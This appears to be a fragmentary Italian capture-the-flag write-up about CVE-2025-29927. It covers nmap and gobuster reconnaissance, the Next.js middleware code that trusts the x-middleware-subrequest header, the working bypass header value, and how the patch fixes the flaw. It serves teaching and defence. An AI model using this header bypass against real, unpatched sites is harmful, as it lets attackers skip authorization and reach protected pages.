
Sfida Capture the Flag: CVE-2025-29927 in combinazione con una vulnerabilità di command injection
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard reindirizza a /login. Riesci a trovare qualche informazione sulla pagina di login che ti permetta di bypassare il reindirizzamento?
— — —
x-middleware-subrequest. Next.js usa questo header internamente per prevenire loop infiniti di middleware. Quando una richiesta viene elaborata, la funzione runMiddleware controlla gli header della richiesta:
x-middleware-subrequest è presente
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Usando questo header, diciamo al middleware: "Questa è già una richiesta generata dal middleware—non eseguire di nuovo il middleware."
x-middleware-subrequest da tutte le richieste esterne in entrata prima che il middleware venga eseguito. L'header è considerato attendibile solo quando viene creato all'interno del runtime di Next.js durante un legittimo concatenamento di middleware.
Concretamente, il valore di x-middleware-subrequest viene ora convalidato rispetto a una stringa esadecimale generata casualmente, assicurando che solo le richieste di sessione interne legittime superino i controlli di autorizzazione. Quindi anche se un attaccante invia l'header, Next.js può ora distinguere tra una vera sotto-richiesta interna (che porta il token corretto generato casualmente) e una falsificata proveniente da un attaccante esterno.
— — —